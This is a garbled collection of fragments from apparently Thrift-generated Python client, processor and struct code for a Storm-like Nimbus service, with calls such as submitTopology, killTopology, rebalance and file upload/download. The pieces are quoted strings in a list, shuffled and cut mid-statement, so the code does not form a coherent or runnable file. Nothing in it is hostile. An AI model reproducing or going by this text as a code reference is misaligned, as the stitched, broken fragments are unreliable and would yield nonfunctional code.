(RebalanceOptions, RebalanceOptions.thrift_spec), None, ), # 2", "break if fid == 1: if ftype == TType.STRING: self.id", "None: raise result.e return def killTopologyWithOpts(self, name, options): \"\"\" Parameters:", "- id \"\"\" pass class Client(Iface): def __init__(self, iprot, oprot=None):", "downloadChunk_result: \"\"\" Attributes: - success \"\"\" thrift_spec = ( (0,", "not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() if self.ite is", "= self._handler.beginFileDownload(args.file) oprot.writeMessageBegin(\"beginFileDownload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_downloadChunk(self,", "return oprot.writeStructBegin('killTopologyWithOpts_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1)", "py # from thrift.Thrift import TType, TMessageType, TException, TApplicationException from", "= self._iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(self._iprot)", "TMessageType.EXCEPTION: x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result =", "e=None,): self.success = success self.e = e def read(self, iprot):", "iprot.skip(ftype) elif fid == 2: if ftype == TType.STRING: self.uploadedJarLocation", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_args') oprot.writeFieldStop() oprot.writeStructEnd()", "= ite oprot.writeMessageBegin(\"submitTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_submitTopologyWithOpts(self,", "'success', (TopologyInfo, TopologyInfo.thrift_spec), None, ), # 0 (1, TType.STRUCT, 'e',", "self._processMap[\"rebalance\"] = Processor.process_rebalance self._processMap[\"beginFileUpload\"] = Processor.process_beginFileUpload self._processMap[\"uploadChunk\"] = Processor.process_uploadChunk self._processMap[\"finishFileUpload\"]", "2: if ftype == TType.STRING: self.uploadedJarLocation = iprot.readString(); else: iprot.skip(ftype)", "self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_args') if self.location is not None: oprot.writeFieldBegin('location', TType.STRING,", "= {} self._processMap[\"submitTopology\"] = Processor.process_submitTopology self._processMap[\"submitTopologyWithOpts\"] = Processor.process_submitTopologyWithOpts self._processMap[\"killTopology\"] =", "None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success) oprot.writeFieldEnd() if self.e is not", "= Processor.process_getClusterInfo self._processMap[\"getTopologyInfo\"] = Processor.process_getTopologyInfo self._processMap[\"getTopologyConf\"] = Processor.process_getTopologyConf self._processMap[\"getTopology\"] =", "Parameters: - id \"\"\" pass class Client(Iface): def __init__(self, iprot,", "args = uploadChunk_args() args.read(iprot) iprot.readMessageEnd() result = uploadChunk_result() self._handler.uploadChunk(args.location, args.chunk)", "oprot.writeFieldBegin('id', TType.STRING, 1) oprot.writeString(self.id) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "ite \"\"\" thrift_spec = ( None, # 0 (1, TType.STRUCT,", "failed: unknown result\"); def getTopology(self, id): \"\"\" Parameters: - id", "== other) class killTopologyWithOpts_result: \"\"\" Attributes: - e \"\"\" thrift_spec", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_result')", "= topology args.options = options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_submitTopologyWithOpts(self,", "(self == other) class beginFileUpload_args: thrift_spec = ( ) def", "oprot.writeMessageEnd() oprot.trans.flush() def process_downloadChunk(self, seqid, iprot, oprot): args = downloadChunk_args()", "'ite', (InvalidTopologyException, InvalidTopologyException.thrift_spec), None, ), # 2 ) def __init__(self,", "'options', (RebalanceOptions, RebalanceOptions.thrift_spec), None, ), # 2 ) def __init__(self,", "failed: unknown result\"); def getNimbusConf(self, ): self.send_getNimbusConf() return self.recv_getNimbusConf() def", "iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0:", "TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not", "self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop()", "fid) = iprot.readFieldBegin() if ftype == TType.STOP: break else: iprot.skip(ftype)", "\"\"\" pass def getUserTopology(self, id): \"\"\" Parameters: - id \"\"\"", "None: raise result.ite return def submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology,", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('activate_args') if self.name is", "Attributes: - success \"\"\" thrift_spec = ( (0, TType.STRING, 'success',", "class getUserTopology_args: \"\"\" Attributes: - id \"\"\" thrift_spec = (", "Processor.process_finishFileUpload self._processMap[\"beginFileDownload\"] = Processor.process_beginFileDownload self._processMap[\"downloadChunk\"] = Processor.process_downloadChunk self._processMap[\"getNimbusConf\"] = Processor.process_getNimbusConf", "SubmitOptions() self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self,", "other): return not (self == other) class beginFileUpload_args: thrift_spec =", "class rebalance_args: \"\"\" Attributes: - name - options \"\"\" thrift_spec", "0: if ftype == TType.STRUCT: self.success = ClusterSummary() self.success.read(iprot) else:", "def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is", "self._handler.submitTopology(args.name, args.uploadedJarLocation, args.jsonConf, args.topology) except AlreadyAliveException as e: result.e =", "== 1: if ftype == TType.STRING: self.name = iprot.readString(); else:", "( None, # 0 (1, TType.STRING, 'file', None, None, ),", "oprot.writeStructBegin('downloadChunk_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success)", "location def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans,", "TMessageType.CALL, self._seqid) args = getTopologyInfo_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd()", "self.send_getUserTopology(id) return self.recv_getUserTopology() def send_getUserTopology(self, id): self._oprot.writeMessageBegin('getUserTopology', TMessageType.CALL, self._seqid) args", "self._handler = handler self._processMap = {} self._processMap[\"submitTopology\"] = Processor.process_submitTopology self._processMap[\"submitTopologyWithOpts\"]", "TType.STRING, 'success', None, None, ), # 0 (1, TType.STRUCT, 'e',", "class downloadChunk_result: \"\"\" Attributes: - success \"\"\" thrift_spec = (", "killTopology(self, name): \"\"\" Parameters: - name \"\"\" pass def killTopologyWithOpts(self,", "raise x result = getClusterInfo_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is", "0 (1, TType.STRING, 'name', None, None, ), # 1 (2,", "iprot.readString(); else: iprot.skip(ftype) elif fid == 2: if ftype ==", "is not None: self._oprot = oprot self._seqid = 0 def", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getUserTopology_result()", "name \"\"\" self.send_killTopology(name) self.recv_killTopology() def send_killTopology(self, name): self._oprot.writeMessageBegin('killTopology', TMessageType.CALL, self._seqid)", "args = getTopology_args() args.read(iprot) iprot.readMessageEnd() result = getTopology_result() try: result.success", "\"\"\" Attributes: - name - options \"\"\" thrift_spec = (", "( (0, TType.STRUCT, 'success', (StormTopology, StormTopology.thrift_spec), None, ), # 0", "submitTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise result.e", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopology_args') if", "\"\"\" Attributes: - name \"\"\" thrift_spec = ( None, #", "self._oprot.trans.flush() def recv_submitTopologyWithOpts(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "NotAliveException.thrift_spec), None, ), # 1 ) def __init__(self, success=None, e=None,):", "deactivate_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise result.e", "self.ite.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot):", "- name \"\"\" pass def deactivate(self, name): \"\"\" Parameters: -", "\"\"\" self.send_getUserTopology(id) return self.recv_getUserTopology() def send_getUserTopology(self, id): self._oprot.writeMessageBegin('getUserTopology', TMessageType.CALL, self._seqid)", "id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getUserTopology(self, ): (fname, mtype, rseqid)", "__eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def", "other) class getTopologyConf_result: \"\"\" Attributes: - success - e \"\"\"", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = killTopology_result() result.read(self._iprot) self._iprot.readMessageEnd()", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_args') if self.name is not None: oprot.writeFieldBegin('name',", "- file \"\"\" thrift_spec = ( None, # 0 (1,", "and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self", "TType.STRUCT, 'topology', (StormTopology, StormTopology.thrift_spec), None, ), # 4 ) def", "killTopologyWithOpts_result: \"\"\" Attributes: - e \"\"\" thrift_spec = ( None,", "= ( None, # 0 (1, TType.STRING, 'name', None, None,", "- options \"\"\" pass def beginFileUpload(self, ): pass def uploadChunk(self,", "TMessageType.CALL, self._seqid) args = uploadChunk_args() args.location = location args.chunk =", "= topology self.options = options def read(self, iprot): if iprot.__class__", "(2, TType.STRING, 'uploadedJarLocation', None, None, ), # 2 (3, TType.STRING,", "raise x result = deactivate_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_result')", "oprot.writeMessageBegin(\"uploadChunk\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_finishFileUpload(self, seqid, iprot,", "oprot): args = killTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd() result = killTopologyWithOpts_result() try:", "args.jsonConf = jsonConf args.topology = topology args.options = options args.write(self._oprot)", "def __ne__(self, other): return not (self == other) class killTopology_args:", "TType.STRUCT, 'success', (TopologyInfo, TopologyInfo.thrift_spec), None, ), # 0 (1, TType.STRUCT,", "not None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getUserTopology(self, seqid, iprot, oprot):", "__ne__(self, other): return not (self == other) class getTopology_result: \"\"\"", "self.__dict__ == other.__dict__ def __ne__(self, other): return not (self ==", "args.uploadedJarLocation, args.jsonConf, args.topology, args.options) except AlreadyAliveException as e: result.e =", "oprot.writeFieldEnd() if self.topology is not None: oprot.writeFieldBegin('topology', TType.STRUCT, 4) self.topology.write(oprot)", "chunk): \"\"\" Parameters: - location - chunk \"\"\" pass def", "= rebalance_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise", "= submitTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise", "EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU", "None, None, ), # 2 (3, TType.STRING, 'jsonConf', None, None,", "self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING,", "send_activate(self, name): self._oprot.writeMessageBegin('activate', TMessageType.CALL, self._seqid) args = activate_args() args.name =", "self.recv_getClusterInfo() def send_getClusterInfo(self, ): self._oprot.writeMessageBegin('getClusterInfo', TMessageType.CALL, self._seqid) args = getClusterInfo_args()", "== 4: if ftype == TType.STRUCT: self.topology = StormTopology() self.topology.read(iprot)", "= Processor.process_beginFileUpload self._processMap[\"uploadChunk\"] = Processor.process_uploadChunk self._processMap[\"finishFileUpload\"] = Processor.process_finishFileUpload self._processMap[\"beginFileDownload\"] =", "not (self == other) class rebalance_result: \"\"\" Attributes: - e", "Processor.process_submitTopology self._processMap[\"submitTopologyWithOpts\"] = Processor.process_submitTopologyWithOpts self._processMap[\"killTopology\"] = Processor.process_killTopology self._processMap[\"killTopologyWithOpts\"] = Processor.process_killTopologyWithOpts", "oprot.trans.flush() def process_uploadChunk(self, seqid, iprot, oprot): args = uploadChunk_args() args.read(iprot)", "NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = beginFileDownload_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"activate\", TMessageType.REPLY, seqid)", "e except InvalidTopologyException as ite: result.ite = ite oprot.writeMessageBegin(\"rebalance\", TMessageType.REPLY,", "# 4 (5, TType.STRUCT, 'options', (SubmitOptions, SubmitOptions.thrift_spec), None, ), #", "\"\"\" Parameters: - file \"\"\" self.send_beginFileDownload(file) return self.recv_beginFileDownload() def send_beginFileDownload(self,", "return def killTopology(self, name): \"\"\" Parameters: - name \"\"\" self.send_killTopology(name)", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_args') if self.name", "None: oprot.writeFieldBegin('options', TType.STRUCT, 5) self.options.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_result') if self.e is not", "return oprot.writeStructBegin('beginFileUpload_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "def __init__(self, location=None,): self.location = location def read(self, iprot): if", "is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileDownload failed: unknown", "self.e.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot):", "- name \"\"\" self.send_killTopology(name) self.recv_killTopology() def send_killTopology(self, name): self._oprot.writeMessageBegin('killTopology', TMessageType.CALL,", "def rebalance(self, name, options): \"\"\" Parameters: - name - options", "\"\"\" self.send_downloadChunk(id) return self.recv_downloadChunk() def send_downloadChunk(self, id): self._oprot.writeMessageBegin('downloadChunk', TMessageType.CALL, self._seqid)", "oprot.writeStructBegin('killTopology_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name)", "(1, TType.STRING, 'name', None, None, ), # 1 (2, TType.STRUCT,", "isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return", "# from thrift.Thrift import TType, TMessageType, TException, TApplicationException from ttypes", "is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd()", "(self == other) class killTopologyWithOpts_args: \"\"\" Attributes: - name -", "0) self.success.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "__ne__(self, other): return not (self == other) class getTopologyConf_result: \"\"\"", "is not None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd()", "other) class beginFileDownload_args: \"\"\" Attributes: - file \"\"\" thrift_spec =", "TType.STRUCT, 'success', (ClusterSummary, ClusterSummary.thrift_spec), None, ), # 0 ) def", "TType.STRING, 'name', None, None, ), # 1 ) def __init__(self,", "getClusterInfo_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return result.success", "result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyInfo failed: unknown result\"); def getTopologyConf(self, id):", "Parameters: - id \"\"\" self.send_getUserTopology(id) return self.recv_getUserTopology() def send_getUserTopology(self, id):", "= e oprot.writeMessageBegin(\"getTopologyInfo\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopologyConf(self,", "), # 1 ) def __init__(self, name=None,): self.name = name", "(0, TType.STRING, 'success', None, None, ), # 0 ) def", "from thrift.protocol import TBinaryProtocol, TProtocol try: from thrift.protocol import fastbinary", "name): self._oprot.writeMessageBegin('activate', TMessageType.CALL, self._seqid) args = activate_args() args.name = name", "True def process_submitTopology(self, seqid, iprot, oprot): args = submitTopology_args() args.read(iprot)", "recv_getNimbusConf(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopology_result') if self.e is not None:", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('deactivate_result') if self.e", "\"\"\" pass def getTopologyConf(self, id): \"\"\" Parameters: - id \"\"\"", "return self.recv_getNimbusConf() def send_getNimbusConf(self, ): self._oprot.writeMessageBegin('getNimbusConf', TMessageType.CALL, self._seqid) args =", "not (self == other) class finishFileUpload_args: \"\"\" Attributes: - location", "iprot.readMessageEnd() result = killTopology_result() try: self._handler.killTopology(args.name) except NotAliveException as e:", "return not (self == other) class finishFileUpload_args: \"\"\" Attributes: -", "oprot.writeMessageEnd() oprot.trans.flush() def process_getTopology(self, seqid, iprot, oprot): args = getTopology_args()", "self.location = location def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopology_result') if self.e is not None: oprot.writeFieldBegin('e',", "self._handler.getUserTopology(args.id) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getUserTopology\", TMessageType.REPLY,", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_args') if self.id", "iprot.skip(ftype) elif fid == 5: if ftype == TType.STRUCT: self.options", "topology): \"\"\" Parameters: - name - uploadedJarLocation - jsonConf -", "iprot, oprot): args = killTopology_args() args.read(iprot) iprot.readMessageEnd() result = killTopology_result()", "from thrift.Thrift import TType, TMessageType, TException, TApplicationException from ttypes import", "None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return", "is not None: raise result.ite return def killTopology(self, name): \"\"\"", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_downloadChunk(self, seqid, iprot, oprot):", "self.chunk = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def", "self._oprot.trans.flush() def recv_rebalance(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_args') if self.id is", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopology_result')", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_submitTopologyWithOpts(self, seqid, iprot, oprot): args =", "self.send_killTopologyWithOpts(name, options) self.recv_killTopologyWithOpts() def send_killTopologyWithOpts(self, name, options): self._oprot.writeMessageBegin('killTopologyWithOpts', TMessageType.CALL, self._seqid)", "raise x result = killTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is", "iprot, oprot): args = getNimbusConf_args() args.read(iprot) iprot.readMessageEnd() result = getNimbusConf_result()", "result.e return def deactivate(self, name): \"\"\" Parameters: - name \"\"\"", "def __ne__(self, other): return not (self == other) class getUserTopology_result:", "class beginFileDownload_result: \"\"\" Attributes: - success \"\"\" thrift_spec = (", "result = killTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None:", "id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopologyConf(self, ): (fname, mtype, rseqid)", "self._handler.submitTopologyWithOpts(args.name, args.uploadedJarLocation, args.jsonConf, args.topology, args.options) except AlreadyAliveException as e: result.e", "beginFileDownload_args: \"\"\" Attributes: - file \"\"\" thrift_spec = ( None,", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_result')", "TMessageType.CALL, self._seqid) args = getTopology_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd()", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_args') if self.name is not None:", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopology_args')", "is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while", "try: self._handler.killTopology(args.name) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"killTopology\",", "== TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None", "None, ), # 1 (2, TType.STRUCT, 'options', (RebalanceOptions, RebalanceOptions.thrift_spec), None,", "success=None,): self.success = success def read(self, iprot): if iprot.__class__ ==", "self._seqid) args = getTopologyInfo_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "elif fid == 2: if ftype == TType.STRUCT: self.options =", "not (self == other) class getTopology_result: \"\"\" Attributes: - success", "other.__dict__ def __ne__(self, other): return not (self == other) class", "TType.STRUCT, 'e', (NotAliveException, NotAliveException.thrift_spec), None, ), # 1 (2, TType.STRUCT,", "rebalance_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise result.e", "self.recv_getUserTopology() def send_getUserTopology(self, id): self._oprot.writeMessageBegin('getUserTopology', TMessageType.CALL, self._seqid) args = getUserTopology_args()", "__init__(self, file=None,): self.file = file def read(self, iprot): if iprot.__class__", "name self.options = options def read(self, iprot): if iprot.__class__ ==", "def process_beginFileDownload(self, seqid, iprot, oprot): args = beginFileDownload_args() args.read(iprot) iprot.readMessageEnd()", "TType.STRING, 'id', None, None, ), # 1 ) def __init__(self,", "oprot.writeString(self.name) oprot.writeFieldEnd() if self.options is not None: oprot.writeFieldBegin('options', TType.STRUCT, 2)", "- success - e \"\"\" thrift_spec = ( (0, TType.STRUCT,", "None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))", "def __ne__(self, other): return not (self == other) class getTopologyConf_result:", "thrift_spec = ( None, # 0 (1, TType.STRUCT, 'e', (AlreadyAliveException,", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getClusterInfo(self, seqid, iprot, oprot): args", "class killTopology_result: \"\"\" Attributes: - e \"\"\" thrift_spec = (", "self._processMap[name](self, seqid, iprot, oprot) return True def process_submitTopology(self, seqid, iprot,", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_args') if self.id is not", "other) class killTopology_result: \"\"\" Attributes: - e \"\"\" thrift_spec =", "seqid, iprot, oprot): args = deactivate_args() args.read(iprot) iprot.readMessageEnd() result =", "def recv_rebalance(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "fid == 2: if ftype == TType.STRING: self.chunk = iprot.readString();", "- topology \"\"\" pass def submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology,", "id): \"\"\" Parameters: - id \"\"\" pass class Client(Iface): def", "args.read(iprot) iprot.readMessageEnd() result = killTopologyWithOpts_result() try: self._handler.killTopologyWithOpts(args.name, args.options) except NotAliveException", "None class Iface: def submitTopology(self, name, uploadedJarLocation, jsonConf, topology): \"\"\"", "InvalidTopologyException as ite: result.ite = ite oprot.writeMessageBegin(\"submitTopology\", TMessageType.REPLY, seqid) result.write(oprot)", "send_killTopologyWithOpts(self, name, options): self._oprot.writeMessageBegin('killTopologyWithOpts', TMessageType.CALL, self._seqid) args = killTopologyWithOpts_args() args.name", "iprot, oprot): args = getTopologyInfo_args() args.read(iprot) iprot.readMessageEnd() result = getTopologyInfo_result()", "result = deactivate_result() try: self._handler.deactivate(args.name) except NotAliveException as e: result.e", "by Thrift Compiler (0.9.0) # # DO NOT EDIT UNLESS", "other) class downloadChunk_result: \"\"\" Attributes: - success \"\"\" thrift_spec =", "self._processMap[\"killTopologyWithOpts\"] = Processor.process_killTopologyWithOpts self._processMap[\"activate\"] = Processor.process_activate self._processMap[\"deactivate\"] = Processor.process_deactivate self._processMap[\"rebalance\"]", "result = uploadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd() return def finishFileUpload(self, location): \"\"\"", "self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING,", "0 (1, TType.STRING, 'id', None, None, ), # 1 )", "NotAliveException.thrift_spec), None, ), # 1 (2, TType.STRUCT, 'ite', (InvalidTopologyException, InvalidTopologyException.thrift_spec),", "return self.recv_downloadChunk() def send_downloadChunk(self, id): self._oprot.writeMessageBegin('downloadChunk', TMessageType.CALL, self._seqid) args =", "other): return not (self == other) class killTopology_result: \"\"\" Attributes:", "None, ), # 1 ) def __init__(self, success=None, e=None,): self.success", "): self.send_beginFileUpload() return self.recv_beginFileUpload() def send_beginFileUpload(self, ): self._oprot.writeMessageBegin('beginFileUpload', TMessageType.CALL, self._seqid)", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_submitTopologyWithOpts(self, ): (fname, mtype, rseqid) =", "thrift.Thrift import TProcessor from thrift.transport import TTransport from thrift.protocol import", "== TType.STRING: self.jsonConf = iprot.readString(); else: iprot.skip(ftype) elif fid ==", "= id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getUserTopology(self, ): (fname, mtype,", "'name', None, None, ), # 1 ) def __init__(self, name=None,):", "__ne__(self, other): return not (self == other) class rebalance_args: \"\"\"", "Processor.process_beginFileUpload self._processMap[\"uploadChunk\"] = Processor.process_uploadChunk self._processMap[\"finishFileUpload\"] = Processor.process_finishFileUpload self._processMap[\"beginFileDownload\"] = Processor.process_beginFileDownload", "beginFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return result.success", "self._seqid) args = beginFileDownload_args() args.file = file args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "other) class killTopologyWithOpts_result: \"\"\" Attributes: - e \"\"\" thrift_spec =", "None, None, ), # 1 (2, TType.STRING, 'chunk', None, None,", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('deactivate_args') if self.name is not", "validate(self): return def __repr__(self): L = ['%s=%r' % (key, value)", "\"\"\" Parameters: - name - options \"\"\" self.send_rebalance(name, options) self.recv_rebalance()", "name): self._oprot.writeMessageBegin('deactivate', TMessageType.CALL, self._seqid) args = deactivate_args() args.name = name", "self.success = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def", "), # 0 ) def __init__(self, success=None,): self.success = success", "def __ne__(self, other): return not (self == other) class beginFileDownload_args:", "- name \"\"\" pass def killTopologyWithOpts(self, name, options): \"\"\" Parameters:", "return oprot.writeStructBegin('beginFileDownload_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0)", "def recv_downloadChunk(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "if name not in self._processMap: iprot.skip(TType.STRUCT) iprot.readMessageEnd() x = TApplicationException(TApplicationException.UNKNOWN_METHOD,", "result.success = self._handler.getClusterInfo() oprot.writeMessageBegin(\"getClusterInfo\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_result') if self.success is not", "), # 5 ) def __init__(self, name=None, uploadedJarLocation=None, jsonConf=None, topology=None,", "raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileDownload failed: unknown result\"); def downloadChunk(self, id): \"\"\"", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_beginFileDownload(self, ): (fname, mtype, rseqid) =", "Parameters: - name - options \"\"\" pass def beginFileUpload(self, ):", "0: if ftype == TType.STRUCT: self.success = TopologyInfo() self.success.read(iprot) else:", "args.name = name args.uploadedJarLocation = uploadedJarLocation args.jsonConf = jsonConf args.topology", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() # HELPER FUNCTIONS AND STRUCTURES", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopology_args') if self.name", "def __ne__(self, other): return not (self == other) class activate_args:", "send_finishFileUpload(self, location): self._oprot.writeMessageBegin('finishFileUpload', TMessageType.CALL, self._seqid) args = finishFileUpload_args() args.location =", "name args.options = options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_killTopologyWithOpts(self, ):", "raise x result = getTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is", "other): return not (self == other) class getNimbusConf_result: \"\"\" Attributes:", "import TBinaryProtocol, TProtocol try: from thrift.protocol import fastbinary except: fastbinary", "name): \"\"\" Parameters: - name \"\"\" pass def 